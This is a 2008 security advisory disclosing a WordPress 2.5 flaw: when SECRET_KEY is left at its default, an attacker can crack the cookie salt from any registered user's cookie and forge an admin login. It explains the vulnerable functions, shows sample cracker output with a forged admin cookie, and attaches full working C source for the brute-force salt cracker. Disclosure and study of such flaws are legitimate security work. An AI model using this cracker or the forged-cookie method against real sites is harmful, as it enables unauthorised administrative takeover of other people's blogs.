WORDPRESS 2.5 - SALT CRACKING VULNERABILITY ------------------------------------------- http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability By J. Carlos Nieto http://xiam.menteslibres.org Severity ======== Medium. It affects only a determinate part of the WordPress users under specific conditions. Affected software ================= WordPress 2.5 Vulnerability conditions ======================== After the initial WordPress instalation, the wp-config.php's SECRET_KEY must remain as te default value: 'put your unique phrase here' or be undefined, the default value remains untouched after installing via a browser. When the WordPress package is unpacked and the victim is ready to install it, he will be asked to read the manual in order to create a wp-config.php file, or to change permissions for the installation directory to be writable. If he choose to change directory permissions, the installation will be completely via web and the SECRET_KEY will remain as the default value. There exists some other conditions that let the user install WordPress without even knowing that he must change a SECRET_KEY in wp-config.php 1.- If the user attempts to install WordPress on Windows. Since Windows does not have a strong permissions check. 2.- If the user attempts to install WordPress under Apache + suexec. The files are not readable or writable for all other users, but writable for the user himself. Thus the installed won't ask you to read the manual. 3.- Some hosting companies have a one-click installer that does not setup a SECRET_KEY. 4.- You failed to read the whole installation manual. Vulnerable scripts ================== wp-include/pluggable.php function wp_validate_auth_cookie($cookie) { ... // The cookie is not being validated. list($username, $expiration, $hmac) = explode('|', $cookie); ... // I could send 9999999999 as the second argument of the cookie to skip this condition. if ( $expired < time() ) return false; ... // A mysterious hash is used here, the hash becomes a seven // character word generated by wp_generate_password() // (a.k.a. SECRET_SALT), note that wp_salt() sets // $secret_key to null if SECRET_KEY is equal to the default value. . // The argument passed to wp_hash() in the next line is // completely poisonable. // To gain admin privileges I could use: // 'admin|9999999999|MISTERIOUSHASH' as my cookie. $key = wp_hash($username . $expiration); $hash = hash_hmac('md5', $username . $expiration, $key); // A weak check, I may provide a custom $hmac by knowing // the wp_salt()'s value. if ( $hmac != $hash ) return false; // There is no password check, not even IP verification $user = get_userdatabylogin($username); } ... function wp_salt() { global $wp_default_secret_key; $secret_key = ''; // If the key is null, not defined or has the default // value $secret_key remains null // if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && ( $wp_default_secret_key != SECRET_KEY) ) $secret_key = SECRET_KEY; if ( defined('SECRET_SALT') ) { $salt = SECRET_SALT; } else { $salt = get_option('secret'); if ( empty($salt) ) { $salt = wp_generate_password(); update_option('secret', $salt); } } // $salt is a seven char long password. $secret_key is null. return apply_filters('salt', $secret_key . $salt); } The wp_salt()'s value is stored here: mysql> select * from wp_options where option_name = 'secret'; +-----------+---------+-------------+--------------+----------+ | option_id | blog_id | option_name | option_value | autoload | +-----------+---------+-------------+--------------+----------+ | 61 | 0 | secret | eat5fsE | yes | +-----------+---------+-------------+--------------+----------+ 1 row in set (0.00 sec) So if the attacker gets the value of that seven length string he can craft a special cookie and gain access to ANY account he wants. How can I know the value of wp_salt()? -------------------------------------- I am thinking of two ways to get the value of the wp_salt(): 1.- Gain access to the WP database by using a SQL injection (such as the GBK encoding and addslashes() issue) on the WordPress core itself or on a third party plugin (the latest is more likely to be possible). I din't find any user-level SQL injection on the WP core. 2.- Register yourself on a WP 2.5 blog, log in and grab the cookie named wordpress_MD5(SITE_URL), try to crack the value of the wp_salt() with an offline attack using an specialized program. Possible solution ================= Read The Fabulous Manual (a.k.a. RTFM) and realize that you have to change the SECRET_KEY's value. The SECRET_KEY should be changed automatically to something random. Proof of concept ================ I wrote a bruteforce HMAC-MD5 cracker and adapted it to crack wp_salt()'s values using a legitimate cookie as an argument. This is the output of my program cracking the wp_salt() based on a unprivileged user cookie: (test%7C1208303160%7C7d735c50e3635035bf83132cc94ce731) and a given charset: $ gcc -lcrypto -Wall -o wpsalt wpsalt.c $ ./wpsalt test 1208303160 7d735c50e3635035bf83132cc94ce731 345aefstAE === Success! === * Key: eat5fsE * Valid cookie: admin%7C9999999999%7Cc47aa8c2946525aa9bac61332faba442 === Statistics === * Time taken: 31.240000 s * Average speed: 308986.363636 w/s The arguments of the wp_salt cracker are: ./wpsalt username timestamp hash [charset] The average speed of my program is 360000 words per second. There are 62 characters that can be used to generate a 7 character long wp_password(). If we perform a linear attack, we would have to wait (in the worst case), 62^7/360000/3600/24 = ~113 days. However, if we are lucky and we feed the program with a 31 long (a half of the total) character set that contains the seven magic letters, the attack can be reduced to 31^7/360000/3600/24 = 0.8 days, but this, of course, only if we are very lucky. The time of the attack is incremented exponentially with each extra character. Vulnerability timeline ====================== Apr 12, 2008 - Vulnerability found. Apr 13, 2008 - Vendor notified (no response). Apr 15, 2008 - Public disclosure. Acknowledgments =============== G30rg3_x (http://www.g30rg3x.com), told me the appropriate way to report a WordPress security vulnerability and helped me to test the severity of the issue. Attachments =========== --- begins wpsatl.c --- /*** * * Wordpress 2.5 cookie based salt cracker * by J. Carlos Nieto * http://xiam.menteslibres.org * * Date: * April 13, 2008 * * Advisory: * http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability * * $ gcc -Wall -lcrypto -o wpsalt wpsalt.c * $ ./wpsalt * * */ #include #include #include #include #include #include #define CHARSET "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" #define KEY_LEN 7 #define hexdec(x) (x - '0' < 10 ? x - '0' : x - 'a' + 10) #define dechex(x) (x < 10 ? x + '0' : x - 10 + 'a') void digest_to_string(unsigned char *, unsigned char *); void print_digest(unsigned char *); void hmac_md5(unsigned char *, int, unsigned char *, int, unsigned char *); void exit(int); void help(); void wp_hash(char *, int, unsigned char *, int, unsigned char *); void error(const char *); void string_to_digest(const char *, unsigned char *); void digest_to_string(unsigned char *digest, unsigned char *string) { int i; int s; for (i = 0; i < 16; i++) { s = digest[i]%16; string[i*2] = dechex((digest[i]-s)/16); string[i*2+1] = dechex(s); } string[32] = 0; } void print_digest(unsigned char *digest) { unsigned char string[32]; digest_to_string(digest, string); printf("%s\n", string); } /* http://www.faqs.org/rfcs/rfc2104.html */ void hmac_md5(unsigned char *text, int text_len, unsigned char *key, int key_len, unsigned char *digest) { MD5_CTX context; unsigned char k_ipad[65]; unsigned char k_opad[65]; //unsigned char tk[16]; int i; /* if (key_len > 64) { MD5_CTX tctx; MD5_Init(&tctx); MD5_Update(&tctx, key, key_len); MD5_Final(tk, &tctx); key = tk; key_len = 16; } */ bzero(k_ipad, 65); bzero(k_opad, 65); bcopy(key, k_ipad, key_len); bcopy(key, k_opad, key_len); for (i = 0; i < 64; i++) { k_ipad[i] ^= 0x36; k_opad[i] ^= 0x5c; } MD5_Init(&context); MD5_Update(&context, k_ipad, 64); MD5_Update(&context, text, text_len); MD5_Final(digest, &context); MD5_Init(&context); MD5_Update(&context, k_opad, 64); MD5_Update(&context, digest, 16); MD5_Final(digest, &context); } void help() { printf("WordPress 2.5, cookie based salt cracker\n"); printf("by xiam \n"); printf("============================================================\n"); printf("Advisory: http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability\n"); printf("\n"); printf("Usage:\n"); printf(" ./wpsalt username timestamp hash [charset]\n"); printf("\n"); printf("Example:\n"); printf(" Get a legitimate user cookie, it doesn't need to be from\n"); printf(" a privileged user.\n"); printf(" It should look like this:\n"); printf(" admin%%7C1208298864%%7C981a2a1363e9044a1181661b46777410\n"); printf(" Run the program:\n"); printf(" $ ./wpsalt admin 1208298864 \\\n"); printf(" 981a2a1363e9044a1181661b46777410\n"); printf(" Now wait some months... or if you're feeling lucky, specify\n"); printf(" a charset such as in the example below:\n"); printf(" $ ./wpsalt admin 1208298864 \\\n"); printf(" 981a2a1363e9044a1181661b46777410 aef5Est\n"); exit(0); } void wp_hash(char *data, int data_len, unsigned char *key, int key_len, unsigned char *digest) { unsigned char salt[16]; unsigned char inter_key[32]; hmac_md5((unsigned char *)data, data_len, key, key_len, salt); digest_to_string(salt, inter_key); hmac_md5((unsigned char *)data, data_len, inter_key, 32, digest); } void error(const char *s) { printf("E: %s\n", s); exit(0); } void string_to_digest(const char *string, unsigned char *digest) { int i; int c; if (strlen((char *)string) == 32) { for (i = 0; i < 16; i++) { c = hexdec(string[2*i])*16; c += hexdec(string[2*i+1]); digest[i] = c; } } else { error("The hash must be a 32 chars string."); } } int main(int argc, char *argv[]) { unsigned char goal_digest[16]; unsigned char key[KEY_LEN+1]; char *data; char *charset; int map[KEY_LEN]; int charset_len, data_len; unsigned long long int words; int i, j, carr, cont; clock_t time_start, time_end; double total_time; unsigned char digest[16]; data = NULL; charset = NULL; if (argc > 3) { string_to_digest(argv[3], goal_digest); data = (char *) malloc(sizeof(unsigned char)*(strlen(argv[1]) + strlen(argv[2]) + 1)); strcat(data, argv[1]); strcat(data, argv[2]); if (argc > 4) { charset = argv[4]; } else { charset = CHARSET; } } else { help(); } data_len = strlen(data); charset_len = strlen(charset)-1; for (i = 0; i < KEY_LEN; i++) { map[i] = 0; key[i] = charset[0]; } key[i] = '\0'; map[0] = -1; time_start = clock(); for (words = -1, cont = 1; cont; words++) { j = 0; map[j]++; if (map[j] > charset_len) { map[0] = 0; key[0] = charset[0]; carr = 1; j++; while (carr) { if (j < KEY_LEN) { map[j]++; if (map[j] > charset_len) { map[j] = 0; } else { carr = 0; } key[j] = charset[map[j]]; j++; } else { cont = 0; carr = 0; } } } else { key[0] = charset[map[0]]; } wp_hash(data, data_len, key, KEY_LEN, digest); if (memcmp(digest, goal_digest, 16) == 0) { printf("=== Success! ===\n"); printf("* Key: %s\n", key); wp_hash("admin9999999999", 15, key, KEY_LEN, digest); printf("* Valid cookie: admin%%7C9999999999%%7C"); print_digest(digest); cont = 0; } } time_end = clock(); total_time = ((double) (time_end - time_start)) / CLOCKS_PER_SEC; printf("\n"); printf("=== Statistics ===\n"); printf("* Time taken: %f s\n", total_time); printf("* Average speed: %f w/s\n", words/total_time); return 0; } --- ends wpsalt.c --- -- La civilizaci~n no suprime la barbarie, la perfecciona. - Voltaire - J. Carlos Nieto (xiam). http://xiam.menteslibres.org